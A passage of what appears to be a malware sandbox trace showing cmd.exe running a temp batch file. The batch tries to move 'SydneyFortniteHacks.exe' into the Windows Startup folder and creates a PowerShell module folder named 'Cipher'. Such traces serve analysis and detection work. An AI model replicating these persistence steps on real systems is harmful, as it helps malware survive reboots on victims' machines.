hHeap=0x460000) returned 1 [0062.475] GetProcessHeap () returned 0x460000 [0062.475] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x482db0 | out: hHeap=0x460000) returned 1 [0062.475] GetProcessHeap () returned 0x460000 [0062.475] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ed90 | out: hHeap=0x460000) returned 1 [0062.475] _get_osfhandle (_FileHandle=3) returned 0x60 [0062.475] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9f [0062.475] ReadFile (in: hFile=0x60, lpBuffer=0x4acac320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2ceae0, lpOverlapped=0x0 | out: lpBuffer=0x4acac320*, lpNumberOfBytesRead=0x2ceae0*=0x0, lpOverlapped=0x0) returned 1 [0062.475] GetLastError () returned 0x0 [0062.475] _get_osfhandle (_FileHandle=3) returned 0x60 [0062.475] GetFileType (hFile=0x60) returned 0x1 [0062.476] _get_osfhandle (_FileHandle=3) returned 0x60 [0062.476] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9f [0062.476] GetProcessHeap () returned 0x460000 [0062.476] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x4012) returned 0x47ee50 [0062.476] GetProcessHeap () returned 0x460000 [0062.476] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ee50 | out: hHeap=0x460000) returned 1 [0062.476] GetProcessHeap () returned 0x460000 [0062.477] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x150) returned 0x47ee50 [0062.477] _tell (_FileHandle=3) returned 159 [0062.477] _close (_FileHandle=3) returned 0 [0062.477] _wcsicmp (_String1="move", _String2="DIR") returned 9 [0062.477] _wcsicmp (_String1="move", _String2="ERASE") returned 8 [0062.477] _wcsicmp (_String1="move", _String2="DEL") returned 9 [0062.477] _wcsicmp (_String1="move", _String2="TYPE") returned -7 [0062.477] _wcsicmp (_String1="move", _String2="COPY") returned 10 [0062.477] _wcsicmp (_String1="move", _String2="CD") returned 10 [0062.477] _wcsicmp (_String1="move", _String2="CHDIR") returned 10 [0062.477] _wcsicmp (_String1="move", _String2="RENAME") returned -5 [0062.477] _wcsicmp (_String1="move", _String2="REN") returned -5 [0062.477] _wcsicmp (_String1="move", _String2="ECHO") returned 8 [0062.477] _wcsicmp (_String1="move", _String2="SET") returned -6 [0062.477] _wcsicmp (_String1="move", _String2="PAUSE") returned -3 [0062.477] _wcsicmp (_String1="move", _String2="DATE") returned 9 [0062.478] _wcsicmp (_String1="move", _String2="TIME") returned -7 [0062.478] _wcsicmp (_String1="move", _String2="PROMPT") returned -3 [0062.478] _wcsicmp (_String1="move", _String2="MD") returned 11 [0062.478] _wcsicmp (_String1="move", _String2="MKDIR") returned 4 [0062.478] _wcsicmp (_String1="move", _String2="RD") returned -5 [0062.478] _wcsicmp (_String1="move", _String2="RMDIR") returned -5 [0062.478] _wcsicmp (_String1="move", _String2="PATH") returned -3 [0062.478] _wcsicmp (_String1="move", _String2="GOTO") returned 6 [0062.478] _wcsicmp (_String1="move", _String2="SHIFT") returned -6 [0062.478] _wcsicmp (_String1="move", _String2="CLS") returned 10 [0062.478] _wcsicmp (_String1="move", _String2="CALL") returned 10 [0062.478] _wcsicmp (_String1="move", _String2="VERIFY") returned -9 [0062.478] _wcsicmp (_String1="move", _String2="VER") returned -9 [0062.478] _wcsicmp (_String1="move", _String2="VOL") returned -9 [0062.478] _wcsicmp (_String1="move", _String2="EXIT") returned 8 [0062.478] _wcsicmp (_String1="move", _String2="SETLOCAL") returned -6 [0062.478] _wcsicmp (_String1="move", _String2="ENDLOCAL") returned 8 [0062.478] _wcsicmp (_String1="move", _String2="TITLE") returned -7 [0062.478] _wcsicmp (_String1="move", _String2="START") returned -6 [0062.478] _wcsicmp (_String1="move", _String2="DPATH") returned 9 [0062.478] _wcsicmp (_String1="move", _String2="KEYS") returned 2 [0062.478] _wcsicmp (_String1="move", _String2="MOVE") returned 0 [0062.478] GetConsoleTitleW (in: lpConsoleTitle=0x2cec80, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\startSF.exe") returned 0x25 [0062.479] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x47efb0, Size=0x150) returned 0x47efb0 [0062.479] GetProcessHeap () returned 0x460000 [0062.479] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x47efb0) returned 0x150 [0062.479] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.479] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.479] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2ce810, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x2ce7f0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x2ce7f0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.480] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x47f280, Size=0x150) returned 0x47f280 [0062.480] GetProcessHeap () returned 0x460000 [0062.480] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x47f280) returned 0x150 [0062.480] _wcsnicmp (_String1="\"C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe\"", _String2="/Y", _MaxCount=0x33) returned -13 [0062.480] _wcsnicmp (_String1="\"C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe\"", _String2="/-Y", _MaxCount=0x33) returned -13 [0062.480] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe" (normalized: "c:\\users\\public\\documents\\sydneyfortnitehacks.exe")) returned 0xffffffff [0062.480] GetLastError () returned 0x2 [0062.480] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x47f6c0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0062.480] SetErrorMode (uMode=0x0) returned 0x0 [0062.480] SetErrorMode (uMode=0x1) returned 0x0 [0062.481] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe", nBufferLength=0x104, lpBuffer=0x2ce0d0, lpFilePart=0x2ce0c0 | out: lpBuffer="C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe", lpFilePart=0x2ce0c0*="SydneyFortniteHacks.exe") returned 0x31 [0062.481] SetErrorMode (uMode=0x0) returned 0x1 [0062.481] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Documents" (normalized: "c:\\users\\public\\documents")) returned 0x11 [0062.481] GetProcessHeap () returned 0x460000 [0062.481] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x260) returned 0x47f8d0 [0062.481] _wcsicmp (_String1="SydneyFortniteHacks.exe", _String2=".") returned 69 [0062.481] _wcsicmp (_String1="SydneyFortniteHacks.exe", _String2="..") returned 69 [0062.481] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe" (normalized: "c:\\users\\public\\documents\\sydneyfortnitehacks.exe")) returned 0xffffffff [0062.481] GetLastError () returned 0x2 [0062.481] SetErrorMode (uMode=0x0) returned 0x0 [0062.481] SetErrorMode (uMode=0x1) returned 0x0 [0062.481] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe", nBufferLength=0x104, lpBuffer=0x2ce810, lpFilePart=0x2ce330 | out: lpBuffer="C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe", lpFilePart=0x2ce330*="SydneyFortniteHacks.exe") returned 0x31 [0062.481] SetErrorMode (uMode=0x0) returned 0x1 [0062.482] SetErrorMode (uMode=0x0) returned 0x0 [0062.482] SetErrorMode (uMode=0x1) returned 0x0 [0062.482] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe", nBufferLength=0x104, lpBuffer=0x2ce600, lpFilePart=0x2ce330 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe", lpFilePart=0x2ce330*="SydneyFortniteHacks.exe") returned 0x68 [0062.482] SetErrorMode (uMode=0x0) returned 0x1 [0062.482] SetLastError (dwErrCode=0x0) [0062.482] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sydneyfortnitehacks.exe")) returned 0xffffffff [0062.482] GetLastError () returned 0x2 [0062.482] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe" (normalized: "c:\\users\\public\\documents\\sydneyfortnitehacks.exe"), fInfoLevelId=0x1, lpFindFileData=0x2cdec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cdec0) returned 0xffffffffffffffff [0062.482] GetLastError () returned 0x2 [0062.482] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe" (normalized: "c:\\users\\public\\documents\\sydneyfortnitehacks.exe"), fInfoLevelId=0x1, lpFindFileData=0x2cdec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cdec0) returned 0xffffffffffffffff [0062.483] GetLastError () returned 0x2 [0062.483] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe" (normalized: "c:\\users\\public\\documents\\sydneyfortnitehacks.exe"), fInfoLevelId=0x1, lpFindFileData=0x47f450, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x47f450) returned 0xffffffffffffffff [0062.483] GetLastError () returned 0x2 [0062.483] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe" (normalized: "c:\\users\\public\\documents\\sydneyfortnitehacks.exe"), fInfoLevelId=0x1, lpFindFileData=0x47f450, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x47f450) returned 0xffffffffffffffff [0062.483] GetLastError () returned 0x2 [0062.485] _get_osfhandle (_FileHandle=2) returned 0xb [0062.485] GetFileType (hFile=0xb) returned 0x2 [0062.485] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0062.485] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x2cdd48 | out: lpMode=0x2cdd48) returned 1 [0062.486] _get_osfhandle (_FileHandle=2) returned 0xb [0062.486] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x2cdd80 | out: lpConsoleScreenBufferInfo=0x2cdd80) returned 1 [0062.486] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x0, lpBuffer=0x4acb6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0062.533] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x0, lpBuffer=0x4acb6340, nSize=0x2000, Arguments=0x2cddf0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0062.533] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4acb6340*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x2cdd70, lpReserved=0x0 | out: lpBuffer=0x4acb6340*, lpNumberOfCharsWritten=0x2cdd70*=0x2c) returned 1 [0062.534] longjmp () [0062.536] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.536] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0062.537] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.537] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ac9e194 | out: lpMode=0x4ac9e194) returned 1 [0062.537] _get_osfhandle (_FileHandle=0) returned 0x3 [0062.537] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ac9e198 | out: lpMode=0x4ac9e198) returned 1 [0062.538] SetConsoleInputExeNameW () returned 0x1 [0062.538] GetConsoleOutputCP () returned 0x1b5 [0062.538] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acabfe0 | out: lpCPInfo=0x4acabfe0) returned 1 [0062.538] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.539] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp\\edb4.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2ceed8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c [0062.539] _open_osfhandle (_OSFileHandle=0x5c, _Flags=8) returned 3 [0062.540] _get_osfhandle (_FileHandle=3) returned 0x5c [0062.540] SetFilePointer (in: hFile=0x5c, lDistanceToMove=159, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9f [0062.540] GetProcessHeap () returned 0x460000 [0062.540] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47f8d0 | out: hHeap=0x460000) returned 1 [0062.540] GetProcessHeap () returned 0x460000 [0062.540] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47f6b0 | out: hHeap=0x460000) returned 1 [0062.540] GetProcessHeap () returned 0x460000 [0062.540] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47f440 | out: hHeap=0x460000) returned 1 [0062.540] GetProcessHeap () returned 0x460000 [0062.540] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47f3e0 | out: hHeap=0x460000) returned 1 [0062.540] GetProcessHeap () returned 0x460000 [0062.541] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47f280 | out: hHeap=0x460000) returned 1 [0062.541] GetProcessHeap () returned 0x460000 [0062.541] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47f110 | out: hHeap=0x460000) returned 1 [0062.541] GetProcessHeap () returned 0x460000 [0062.541] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47efb0 | out: hHeap=0x460000) returned 1 [0062.541] GetProcessHeap () returned 0x460000 [0062.541] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ee50 | out: hHeap=0x460000) returned 1 [0062.541] GetProcessHeap () returned 0x460000 [0062.541] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x474850 | out: hHeap=0x460000) returned 1 [0062.541] GetProcessHeap () returned 0x460000 [0062.542] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ed90 | out: hHeap=0x460000) returned 1 [0062.542] _get_osfhandle (_FileHandle=3) returned 0x5c [0062.542] SetFilePointer (in: hFile=0x5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9f [0062.542] ReadFile (in: hFile=0x5c, lpBuffer=0x4acac320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2cece0, lpOverlapped=0x0 | out: lpBuffer=0x4acac320*, lpNumberOfBytesRead=0x2cece0*=0x0, lpOverlapped=0x0) returned 1 [0062.542] GetLastError () returned 0x0 [0062.542] _get_osfhandle (_FileHandle=3) returned 0x5c [0062.542] GetFileType (hFile=0x5c) returned 0x1 [0062.542] _get_osfhandle (_FileHandle=3) returned 0x5c [0062.542] SetFilePointer (in: hFile=0x5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9f [0062.542] GetProcessHeap () returned 0x460000 [0062.542] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x4012) returned 0x47ed90 [0062.542] GetProcessHeap () returned 0x460000 [0062.543] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ed90 | out: hHeap=0x460000) returned 1 [0062.543] _get_osfhandle (_FileHandle=3) returned 0x5c [0062.543] SetFilePointer (in: hFile=0x5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9f [0062.543] ReadFile (in: hFile=0x5c, lpBuffer=0x4acac320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2cecb0, lpOverlapped=0x0 | out: lpBuffer=0x4acac320*, lpNumberOfBytesRead=0x2cecb0*=0x0, lpOverlapped=0x0) returned 1 [0062.543] GetLastError () returned 0x0 [0062.543] _get_osfhandle (_FileHandle=3) returned 0x5c [0062.543] GetFileType (hFile=0x5c) returned 0x1 [0062.543] _get_osfhandle (_FileHandle=3) returned 0x5c [0062.543] SetFilePointer (in: hFile=0x5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9f [0062.543] GetProcessHeap () returned 0x460000 [0062.543] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x4012) returned 0x47ed90 [0062.543] GetProcessHeap () returned 0x460000 [0062.544] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ed90 | out: hHeap=0x460000) returned 1 [0062.544] longjmp () [0062.544] _tell (_FileHandle=3) returned 159 [0062.544] _close (_FileHandle=3) returned 0 [0062.544] CmdBatNotification () returned 0x0 [0062.544] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.544] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0062.545] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.545] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ac9e194 | out: lpMode=0x4ac9e194) returned 1 [0062.545] _get_osfhandle (_FileHandle=0) returned 0x3 [0062.545] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ac9e198 | out: lpMode=0x4ac9e198) returned 1 [0062.545] SetConsoleInputExeNameW () returned 0x1 [0062.545] GetConsoleOutputCP () returned 0x1b5 [0062.546] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acabfe0 | out: lpCPInfo=0x4acabfe0) returned 1 [0062.546] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.546] exit (_Code=1) Process: id = "6" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x3c94c000" os_pid = "0xa5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x99c" cmd_line = "cmd.exe /c mkdir C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1645 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1646 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1647 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1648 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1649 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1650 start_va = 0x70000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1651 start_va = 0x1b0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1652 start_va = 0x4a6d0000 end_va = 0x4a71bfff monitored = 1 entry_point = 0x4a6d829a region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 1653 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1654 start_va = 0x77640000 end_va = 0x777bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1655 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1656 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1657 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1658 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1659 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1660 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1661 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1662 start_va = 0x2b0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1663 start_va = 0x74f30000 end_va = 0x74f6efff monitored = 0 entry_point = 0x74f5e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1664 start_va = 0x74ed0000 end_va = 0x74f2bfff monitored = 0 entry_point = 0x74f0f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1665 start_va = 0x74ec0000 end_va = 0x74ec7fff monitored = 0 entry_point = 0x74ec20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1666 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1667 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1668 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1669 start_va = 0x77340000 end_va = 0x7745efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077340000" filename = "" Region: id = 1670 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1671 start_va = 0x77240000 end_va = 0x77339fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077240000" filename = "" Region: id = 1672 start_va = 0x4b0000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1673 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1674 start_va = 0x771c0000 end_va = 0x77206fff monitored = 0 entry_point = 0x771c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1675 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1676 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1677 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1678 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1679 start_va = 0xb0000 end_va = 0x116fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1680 start_va = 0x75620000 end_va = 0x756cbfff monitored = 0 entry_point = 0x7562a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1681 start_va = 0x72140000 end_va = 0x72146fff monitored = 0 entry_point = 0x72141230 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 1682 start_va = 0x75520000 end_va = 0x7561ffff monitored = 0 entry_point = 0x7553b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1683 start_va = 0x76010000 end_va = 0x7609ffff monitored = 0 entry_point = 0x76026343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1684 start_va = 0x75a40000 end_va = 0x75a49fff monitored = 0 entry_point = 0x75a436a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1685 start_va = 0x753f0000 end_va = 0x7548cfff monitored = 0 entry_point = 0x75423fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1686 start_va = 0x75e80000 end_va = 0x75f1ffff monitored = 0 entry_point = 0x75e949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1687 start_va = 0x75c60000 end_va = 0x75c78fff monitored = 0 entry_point = 0x75c64975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1688 start_va = 0x760a0000 end_va = 0x7618ffff monitored = 0 entry_point = 0x760b0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1689 start_va = 0x75190000 end_va = 0x751effff monitored = 0 entry_point = 0x751aa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1690 start_va = 0x75180000 end_va = 0x7518bfff monitored = 0 entry_point = 0x751810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1691 start_va = 0x2b0000 end_va = 0x3bffff monitored = 1 entry_point = 